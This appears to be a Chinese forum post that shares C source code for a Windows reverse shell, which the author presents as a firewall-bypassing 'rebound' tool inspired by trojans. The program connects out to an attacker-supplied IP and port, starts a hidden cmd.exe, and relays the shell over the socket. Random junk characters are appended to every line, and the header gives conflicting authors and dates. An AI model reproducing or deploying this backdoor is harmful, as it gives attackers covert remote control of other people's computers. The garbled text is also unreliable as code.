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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A^#\=ZBg1  
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/* ============================== '5LdiSk  
Rebound port in Windows NT 2ij&Db/  
By wind,2006/7 Dh}(B$~Oz+  
===============================*/ ^;rjs|`K#  
#include CWocb=E  
#include 3u&,3:  
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#pragma comment(lib,"wsock32.lib") ir"t@"Y;o  
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void OutputShell(); z;F HZb9t,  
SOCKET sClient; O"Nr$bS(Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; RRV%g!  
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void main(int argc,char **argv) Em^~OM3U$q  
{ M=lU`Sm  
WSADATA stWsaData; j7lJ7BIr  
int nRet; CtV|oeJ  
SOCKADDR_IN stSaiClient,stSaiServer; gPT_}#_GxM  
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if(argc != 3) ^L)TfI_n  
{ MfHOn YV  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6@t&  
return; 2QM{e!9  
} K3M.ZRh\;`  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 8Znr1=1   
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &(A#F[ =0  
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stSaiClient.sin_family = AF_INET; Bv!{V)$  
stSaiClient.sin_port = htons(0); Wbei{3~$Y"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8'jt59/f  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2l+L96  
{ d}':7Np  
printf("Bind Socket Failed!\n"); MP)Prl>  
return; ()bQmNqmO=  
} u~ipB*Zf  
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stSaiServer.sin_family = AF_INET; $ P 5K   
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  Pd\4hy  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); NsP=l]  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ZTV)D  
{ t!*[nfR  
printf("Connect Error!"); FHw%ynC  
return; Mms|jF oQ  
} vxTn  
OutputShell(); -0#"<!N  
} z!O;s ep?/  
#dL,d6a  
void OutputShell() rKUtTj  
{ 'jfE?ngt  
char szBuff[1024]; z k/`Uz  
SECURITY_ATTRIBUTES stSecurityAttributes; 6PYt>r&TO  
OSVERSIONINFO stOsversionInfo; W"\}##  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6j XDLI  
STARTUPINFO stStartupInfo; 'z AvQm  
char *szShell; #Iv KI+"  
PROCESS_INFORMATION stProcessInformation; GdI,&| /  
unsigned long lBytesRead; 'ia-h7QWS  
{?0'(D7.  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %UrNPk  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b4-gNF]Yt  
stSecurityAttributes.lpSecurityDescriptor = 0; gac31,gH  
stSecurityAttributes.bInheritHandle = TRUE; 6qFzo1LO  
uX3yq<lK"  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cZ|*Zpk  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); RQ =$, i`  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); DxNob-F r  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ))f@9m  
stStartupInfo.wShowWindow = SW_HIDE; g:ky;-G8b  
stStartupInfo.hStdInput = hReadPipe; -Pp{aF e  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2A; i  
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GetVersionEx(&stOsversionInfo); :?\29j#*V  
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switch(stOsversionInfo.dwPlatformId) l`zh Kj  
{ x\8g ICf  
case 1: 4X]/8%]V  
szShell = "command.com"; Ja:4EU$Lu  
break; Os-Z_zSl6  
default: JX&]>#6|E  
szShell = "cmd.exe"; SNOc1c<~  
break; rIPfO'T?  
} +;lDU}$  
7HH@7vpJ^  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); E> GmFw  
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send(sClient,szMsg,77,0); 2PyuM=(Wt  
while(1) 4"kc(J`c  
{ t2)uJN`a$X  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nUpj+F#  
if(lBytesRead) Q4-d|  
{ 7FcZxu\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (0q`eO2  
send(sClient,szBuff,lBytesRead,0); z2YYxJ c&w  
} 9DhM 9VU  
else ygnZ9ikh<-  
{ 3WF]%P%  
lBytesRead=recv(sClient,szBuff,1024,0); =Pw{1m|k  
if(lBytesRead<=0) break; $I*}AUp v?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #X'-/q`.  
} Ve%ua]qA  
} U<0Wa>3zj  
8(Te^] v#  
return; }.)R#hG?  
}
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